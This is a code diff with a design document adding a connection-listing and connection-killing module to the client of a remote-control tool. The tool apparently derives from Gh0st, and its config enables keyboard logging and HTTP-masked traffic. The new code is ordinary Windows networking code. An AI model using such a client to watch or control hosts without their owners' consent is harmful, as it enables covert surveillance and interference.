diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index ebf843e..32fb5ed 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -185,6 +185,7 @@
+
@@ -233,6 +234,7 @@
+
diff --git a/client/ClientDll_vs2015.vcxproj.filters b/client/ClientDll_vs2015.vcxproj.filters
index 3256935..373048a 100644
--- a/client/ClientDll_vs2015.vcxproj.filters
+++ b/client/ClientDll_vs2015.vcxproj.filters
@@ -41,6 +41,7 @@
+
@@ -59,6 +60,7 @@
+
diff --git a/client/Common.cpp b/client/Common.cpp
index 926b1ad..e746dfd 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -11,6 +11,7 @@
#include "AudioManager.h"
#include "RegisterManager.h"
#include "ServicesManager.h"
+#include "ConnectionsManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
@@ -139,6 +140,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager(lParam);
}
+DWORD WINAPI LoopConnectionManager(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
+
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
iniFile cfg(CLIENT_PATH);
diff --git a/client/Common.h b/client/Common.h
index 12ddd66..5de2f23 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -34,6 +34,7 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
+DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
diff --git a/client/ConnectionsManager.cpp b/client/ConnectionsManager.cpp
new file mode 100644
index 0000000..1434c92
--- /dev/null
+++ b/client/ConnectionsManager.cpp
@@ -0,0 +1,239 @@
+// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "stdafx.h"
+#include "ConnectionsManager.h"
+#include "Common.h"
+#include
+#include
+#include
+#include
+#include
+#include
+
+#pragma comment(lib, "iphlpapi.lib")
+
+#if ENABLE_CONNECTION_MNG
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
+{
+ SendConnectionList();
+}
+
+CConnectionsManager::~CConnectionsManager()
+{
+}
+
+// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 。
+static void ResolveProcName(DWORD pid, char* out, int outLen)
+{
+ if (outLen <= 0) return;
+ out[0] = 0;
+ if (pid == 0) {
+ strcpy_s(out, outLen, "System Idle Process");
+ return;
+ }
+ HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+ if (h == NULL) {
+ strcpy_s(out, outLen, "");
+ return;
+ }
+ wchar_t wpath[MAX_PATH] = { 0 };
+ DWORD len = MAX_PATH;
+ BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
+ CloseHandle(h);
+ if (!ok) {
+ strcpy_s(out, outLen, "");
+ return;
+ }
+ wchar_t* base = wcsrchr(wpath, L'\\');
+ base = base ? base + 1 : wpath;
+ if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
+ strcpy_s(out, outLen, "");
+ return;
+ }
+ out[outLen - 1] = 0;
+}
+
+// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
+// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
+static void PutAddr4(uint8_t* out, DWORD addrNet)
+{
+ out[0] = (uint8_t)(addrNet >> 24);
+ out[1] = (uint8_t)(addrNet >> 16);
+ out[2] = (uint8_t)(addrNet >> 8);
+ out[3] = (uint8_t)(addrNet);
+}
+
+static DWORD GetAddr4(const uint8_t* addr)
+{
+ return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
+}
+
+static void AppendTcp4(std::vector& rows)
+{
+ PMIB_TCPTABLE_OWNER_PID pTable = NULL;
+ DWORD dwSize = 0;
+ if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
+ return;
+ pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
+ if (pTable == NULL) return;
+ if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
+ for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+ const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
+ ConnectionInfo info = { 0 };
+ info.proto = 1;
+ info.af = AF_INET;
+ info.pid = r.dwOwningPid;
+ PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
+ info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
+ PutAddr4(info.remoteAddr, r.dwRemoteAddr);
+ info.remotePort = ntohs((uint16_t)r.dwRemotePort);
+ info.state = r.dwState;
+ ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+ rows.push_back(info);
+ }
+ }
+ free(pTable);
+}
+
+static void AppendTcp6(std::vector& rows)
+{
+ PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
+ DWORD dwSize = 0;
+ if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
+ return;
+ pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
+ if (pTable == NULL) return;
+ if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
+ for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+ const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
+ ConnectionInfo info = { 0 };
+ info.proto = 1;
+ info.af = AF_INET6;
+ info.pid = r.dwOwningPid;
+ memcpy(info.localAddr, r.ucLocalAddr, 16);
+ info.localPort = ntohs((uint16_t)r.dwLocalPort);
+ memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
+ info.remotePort = ntohs((uint16_t)r.dwRemotePort);
+ info.state = r.dwState;
+ ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+ rows.push_back(info);
+ }
+ }
+ free(pTable);
+}
+
+static void AppendUdp4(std::vector& rows)
+{
+ PMIB_UDPTABLE_OWNER_PID pTable = NULL;
+ DWORD dwSize = 0;
+ if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
+ return;
+ pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
+ if (pTable == NULL) return;
+ if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
+ for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+ const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
+ ConnectionInfo info = { 0 };
+ info.proto = 2;
+ info.af = AF_INET;
+ info.pid = r.dwOwningPid;
+ PutAddr4(info.localAddr, r.dwLocalAddr);
+ info.localPort = ntohs((uint16_t)r.dwLocalPort);
+ info.state = 0;
+ ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+ rows.push_back(info);
+ }
+ }
+ free(pTable);
+}
+
+static void AppendUdp6(std::vector& rows)
+{
+ PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
+ DWORD dwSize = 0;
+ if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
+ return;
+ pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
+ if (pTable == NULL) return;
+ if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
+ for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+ const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
+ ConnectionInfo info = { 0 };
+ info.proto = 2;
+ info.af = AF_INET6;
+ info.pid = r.dwOwningPid;
+ memcpy(info.localAddr, r.ucLocalAddr, 16);
+ info.localPort = ntohs((uint16_t)r.dwLocalPort);
+ info.state = 0;
+ ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+ rows.push_back(info);
+ }
+ }
+ free(pTable);
+}
+
+VOID CConnectionsManager::SendConnectionList()
+{
+ std::vector rows;
+ AppendTcp4(rows);
+ AppendTcp6(rows);
+ AppendUdp4(rows);
+ AppendUdp6(rows);
+
+ size_t count = rows.size();
+ if (count > 0xFFFF) count = 0xFFFF;
+ ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
+ LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
+ if (szBuffer == NULL) return;
+ szBuffer[0] = TOKEN_CONNECTION_LIST;
+ uint16_t cnt = (uint16_t)count;
+ memcpy(szBuffer + 1, &cnt, 2);
+ for (size_t i = 0; i < count; ++i)
+ memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
+
+ HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+ m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
+ LocalFree(szBuffer);
+}
+
+void CConnectionsManager::KillConnection(const ConnectionInfo& info)
+{
+ // 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
+ if (info.proto != 1 || info.af != AF_INET) return;
+
+ MIB_TCPROW row = { 0 };
+ row.dwState = MIB_TCP_STATE_DELETE_TCB;
+ row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
+ row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
+ row.dwRemoteAddr = GetAddr4(info.remoteAddr);
+ row.dwRemotePort = (DWORD)htons(info.remotePort);
+ SetTcpEntry(&row);
+}
+
+VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+ switch (szBuffer[0]) {
+ case COMMAND_CONNECTION: // 刷新
+ SendConnectionList();
+ break;
+ case COMMAND_KILL_CONNECTION: // 强制断开
+ if (ulLength >= 1 + sizeof(ConnectionInfo)) {
+ ConnectionInfo info;
+ memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
+ KillConnection(info);
+ }
+ SendConnectionList();
+ break;
+ default:
+ break;
+ }
+}
+
+#endif
diff --git a/client/ConnectionsManager.h b/client/ConnectionsManager.h
new file mode 100644
index 0000000..7e09a08
--- /dev/null
+++ b/client/ConnectionsManager.h
@@ -0,0 +1,29 @@
+// ConnectionsManager.h: interface for the CConnectionsManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include "Manager.h"
+#if ENABLE_CONNECTION_MNG==0
+#define CConnectionsManager CManager
+#else
+
+class CConnectionsManager : public CManager
+{
+public:
+ CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+ virtual ~CConnectionsManager();
+ VOID SendConnectionList();
+ VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+ void KillConnection(const ConnectionInfo& info);
+};
+
+#endif
+
+#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 93a9822..ba46ec5 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -1356,6 +1356,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
+ case COMMAND_CONNECTION: {
+ if (!ENABLE_CONNECTION_MNG) {
+ return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
+ }
+ {
+ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
+ m_hThread[m_ulThreadCount].p = sub;
+ }
+ m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
+ break;
+ }
+
case COMMAND_UPDATE: {
auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index c94c427..9741f20 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -214,6 +214,7 @@
+
@@ -269,6 +270,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index c4785cb..387cc8b 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -358,8 +358,31 @@ enum {
TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
+
+ COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
+ COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
+ TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
};
+// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
+// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
+// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
+#pragma pack(push, 1)
+struct ConnectionInfo {
+ uint8_t proto; // 1=TCP, 2=UDP [1]
+ uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
+ uint32_t pid; // 所属进程 PID [4]
+ uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
+ uint16_t localPort; // 主机字节序(小端) [2]
+ uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
+ uint16_t remotePort; // 主机字节序,同上 [2]
+ uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
+ char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
+}; // 合计 110
+#pragma pack(pop)
+
+static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
+
#pragma pack(push, 1)
struct SignatureResp {
char msg[64];
diff --git a/common/config.h b/common/config.h
index 4f803b6..c2b925e 100644
--- a/common/config.h
+++ b/common/config.h
@@ -16,6 +16,7 @@
#define ENABLE_AUDIO_MNG TRUE // 语音管理
#define ENABLE_VIDEO_MNG TRUE // 视频管理
#define ENABLE_SERVICE_MNG TRUE // 服务管理
+#define ENABLE_CONNECTION_MNG TRUE // 连接管理
#define ENABLE_REGISTRY TRUE // 注册表管理
#define ENABLE_KEYBOARD TRUE // 键盘记录
diff --git a/docs/ConnectionManage_Design.md b/docs/ConnectionManage_Design.md
new file mode 100644
index 0000000..832ba4b
--- /dev/null
+++ b/docs/ConnectionManage_Design.md
@@ -0,0 +1,259 @@
+# TCP/UDP 连接管理设计
+
+> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
+> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
+> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
+>
+> 需求原文(三点,逐一对应下文):
+> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
+> 2. 客户端需要增加一个管理类来处理服务端请求;
+> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
+
+## 1. 目标与范围
+
+### MVP
+
+| 项 | 说明 |
+|---|---|
+| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
+| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
+| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
+
+### 非目标(Non-goals,本次不做)
+
+- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
+- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
+- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
+- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
+
+## 2. 复用现状
+
+本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
+
+### 客户端模板(读参考实现,全部已核实)
+
+- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
+ ```
+ { auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth();
+ m_hThread[m_ulThreadCount].p = sub; }
+ m_hThread[m_ulThreadCount++].h =
+ __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
+ ```
+ 连接管理照抄,仅换 `LoopConnectionManager`。
+- 子连接线程模板:`client/Common.cpp:33` `LoopManager`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager`。
+- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
+- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
+ `HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
+- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
+
+### 服务端模板(读参考实现,全部已核实)
+
+- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
+- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
+- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog`。
+- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
+- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
+- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog`。
+
+### 工具栏(读参考,全部已核实)
+
+- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
+- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
+ `LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
+ 按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
+- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
+- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
+ (终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
+ `ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
+ `hiddenCount` 语义不变。
+- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
+
+### 网络 API(客户端,新增依赖)
+
+- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
+ 同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
+- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
+- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
+
+## 3. 协议与数据结构
+
+### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
+
+```
+COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
+COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
+TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
+```
+
+### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
+
+```c
+#pragma pack(push, 1)
+struct ConnectionInfo {
+ uint8_t proto; // 1=TCP, 2=UDP [1]
+ uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
+ uint32_t pid; // 所属进程 PID [4]
+ uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
+ uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
+ uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
+ uint16_t remotePort; // 主机字节序,同上 [2]
+ uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
+ char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
+}; // 合计 110
+#pragma pack(pop)
+static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
+```
+
+> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
+> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
+> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
+> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
+> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
+
+### 3.3 列表响应(客户端 → 服务端)
+
+```
+[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
+```
+
+- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
+- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
+ 已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
+
+### 3.4 强制断开请求(服务端 → 客户端)
+
+```
+[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
+```
+
+- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
+
+## 4. 客户端实现
+
+新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
+
+- 类声明(`ConnectionsManager.h`):
+ ```cpp
+ #if ENABLE_CONNECTION_MNG==0
+ #define CConnectionsManager CManager
+ #else
+ class CConnectionsManager : public CManager {
+ public:
+ CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+ virtual ~CConnectionsManager();
+ VOID SendConnectionList(); // 枚举并回传
+ VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+ void KillConnection(const ConnectionInfo& info);
+ };
+ #endif
+ ```
+- `SendConnectionList()`:
+ 1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
+ 汇总到 `std::vector`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
+ 2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
+ 转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `""`(进程可能已退出,端点仍有效)。
+ 3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
+ `HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
+- `OnReceive()`:
+ - `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
+ - `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
+- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
+ 地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
+- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
+- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
+ ```
+ case COMMAND_CONNECTION: {
+ if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
+ { auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
+ m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
+ break;
+ }
+ ```
+- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager`。
+
+## 5. 服务端实现
+
+新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
+
+- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
+- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
+- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
+ 每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
+- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
+- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
+ 由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
+ `TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
+ `[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
+- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
+ 48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
+ `ToolBar_Main.bmp` 补第 17 格(见下)。
+- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
+
